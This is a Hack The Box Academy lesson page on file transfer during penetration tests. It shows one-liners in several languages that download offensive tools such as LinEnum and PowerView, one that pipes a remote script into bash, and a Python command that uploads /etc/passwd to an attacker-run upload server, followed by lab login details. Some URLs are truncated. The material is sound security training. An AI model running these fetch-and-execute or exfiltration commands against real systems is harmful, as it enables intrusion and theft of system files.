academy.hackthebox.com

Hack The Box - Academy

Themesbrand

9-12 minutes

Transfering Files with Code

It's common to find different programming languages installed on the machines we are targetting. Programming languages such as Python, PHP, Perl, and Ruby are commonly available in Linux distributions but can also be installed on Windows, although this is far less common.

We can use some Windows default applications, such as `cscript` and `mshta`, to execute JavaScript or VBScript code. JavaScript can also run on Linux hosts.

According to Wikipedia, there are around 700 programming languages, and we can create code in any programing language, to download, upload or execute instructions to the OS. This section will provide a few examples using common programming languages.

Python

Python is a popular programming language. Currently, version 3 is supported, but we may find servers where Python version 2.7 still exits. `Python` can run one-liners from an operating system command line using the option `-c`. Let's see some examples:

Python 2 - Download

Python 2 - Download

```
Exuurxd@htb[/htb]$ python2.7 -c 'import
urllib;urllib.urlretrieve
("https://raw.githubusercontent.com/rebootuser
/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
```

Python 3 - Download

Python 3 - Download

```
Exuurxd@htb[/htb]$ python3 -c 'import
urllib.request;urllib.request.urlretrieve("https:/
/rebootuser/LinEnum/master/LinEnum.sh",
"LinEnum.sh")'
```

PHP

PHP is also very prevalent and provides multiple file transfer methods. According to W3Techs' data, PHP is used by 77.4% of all websites with a known server-side programming language. Although the information is not precise, and the number may be slightly lower, we will often encounter web services that use PHP when performing an offensive operation.

Let's see some examples of downloading files using PHP.

In the following example, we will use the PHP file_get_contents() module to download content from a website combined with the file_put_contents() module to save the file into a directory. PHP can be used to run one-liners from an operating system command line using the option `-r`.

PHP Download with File_get_contents()

PHP Download with File_get_contents()

```
Exuurxd@htb[/htb]$ php -r '$file =
file_get_contents("https://raw.githubusercontent.c
/rebootuser/LinEnum/master/LinEnum.sh");
file_put_contents("LinEnum.sh",$file);'
```

An alternative to `file_get_contents()` and `file_put_contents()` is the fpopen() module. We can use this module to open a URL, read it's content and save it into a file.

PHP Download with Fopen()

PHP Download with Fopen()

```
Exuurxd@htb[/htb]$ php -r 'const BUFFER = 1024;
$fremote =
fopen("https://raw.githubusercontent.com
/rebootuser/LinEnum/master/LinEnum.sh", "rb");
$flocal = fopen("LinEnum.sh", "wb"); while
($buffer = fread($fremote, BUFFER)) {
fwrite($flocal, $buffer); } fclose($flocal);
fclose($fremote);'
```

We can also send the downloaded content to a pipe instead, similar to the fileless example we executed in the previous section using cURL and wget.

PHP Download a File and Pipe it to Bash

PHP Download a File and Pipe it to Bash

```
Exuurxd@htb[/htb]$ php -r '$lines =
@file("https://raw.githubusercontent.com
/rebootuser/LinEnum/master/LinEnum.sh"); foreach
($lines as $line_num => $line) { echo $line; }' |
```

```
bash
```

Note: The URL can be used as a filename with the @file function if the fopen wrappers have been enabled.

Other Languages

`Ruby` and `Perl` are other popular languages that can also be used to transfer files. These two programming languages also support running one-liners from an operating system command line using the option `-e`.

Ruby - Download a File

Ruby - Download a File

```
Exuurxd@htb[/htb]$ ruby -e 'require "net/http";
File.write("LinEnum.sh",
Net::HTTP.get(URI.parse("https://raw.githubusercon
/rebootuser/LinEnum/master/LinEnum.sh")))'
```

Perl - Download a File

Perl - Download a File

```
Exuurxd@htb[/htb]$ perl -e 'use LWP::Simple;
getstore("https://raw.githubusercontent.com
/rebootuser/LinEnum/master/LinEnum.sh",
"LinEnum.sh");'
```

JavaScript

JavaScript is a scripting or programming language that allows you to implement complex features on web pages. Like with other programming languages, we can use it for many different things.

The following JavaScript code is based on this post, and we can download a file using it. We'll create a file called `wget.js` and save the following content:

Code: javascript

```
var WinHttpReq = new
ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0),
/*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
```

We can use the following command from a Windows command prompt or PowerShell terminal to execute our JavaScript code and download a file.

Download a File Using JavaScript and cscript.exe

Download a File Using JavaScript and cscript.exe

```
C:\htb> cscript.exe /nologo wget.js
https://raw.githubusercontent.com/PowerShellMafia
/PowerSploit/dev/Recon/PowerView.ps1
PowerView.ps1
```

VBScript

VBScript ("Microsoft Visual Basic Scripting Edition") is an Active Scripting language developed by Microsoft that is modeled on Visual Basic. VBScript has been installed by default in every desktop release of Microsoft Windows since Windows 98.

The following VBScript example can be used based on this. We'll create a file called `wget.vbs` and save the following content:

Code: vbscript

```
dim xHttp: Set xHttp =
createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm =
createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0),
False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
```

We can use the following command from a Windows command prompt or PowerShell terminal to execute our VBScript code and download a file.

Download a File Using JavaScript and cscript.exe

```
C:\htb> cscript.exe /nologo wget.vbs
https://raw.githubusercontent.com/PowerShellMafia
/PowerSploit/dev/Recon/PowerView.ps1
PowerView2.ps1
```

Upload Operations using Python3

If we want to upload a file, we need to understand the functions in a particular programming language to perform the upload operation. The Python3 requests module allows you to send HTTP requests

(GET, POST, PUT, etc.) using Python. We can use the following code if we want to upload a file to our Python3 uploadserver.

Starting the Python uploadserver Module

Starting the Python uploadserver Module

```
Exuurxd@htb[/htb]$ python3 -m uploadserver

File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000
(http://0.0.0.0:8000/) ...
```

Uploading a File Using a Python One-liner

Uploading a File Using a Python One-liner

```
Exuurxd@htb[/htb]$ python3 -c 'import
requests;requests.post("http://192.168.49.128:8000
/upload",files={"files":open("
/etc/passwd","rb")})'
```

Let's divide this one-liner into multiple lines to understand each piece better.

Code: python

```
# To use the requests function, we need to import
the module first.
import requests

# Define the target URL where we will upload the
file.
URL = "http://192.168.49.128:8000/upload"

# Define the file we want to read, open it and
save it in a variable.
```

```
file = open("/etc/passwd","rb")

# Use a requests POST request to upload the file.
r = requests.post(url,files={"files":file})
```

We can do the same with any other programming language. A good practice is picking one and trying to build an upload program.

Section Recap

Understanding how we can use code to download and upload files may help us achieve our goals during a red teaming exercise, a penetration test, a CTF competition, an incident response exercise, a forensic investigation, or even in our day-to-day sysadmin work.

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.

Optional Exercises

Challenge your understanding of the Module content and answer the optional question(s) below. These are considered supplementary content and are not required to complete the Module. You can reveal the answer at any time to check your work.

Target: 10.129.41.162

Connect to the target machine via SSH (Username: htb-student | Password:HTB_@cademy_stdnt!) and practice various file transfer operations (upload and download) with your attack host. Type "DONE" when finished.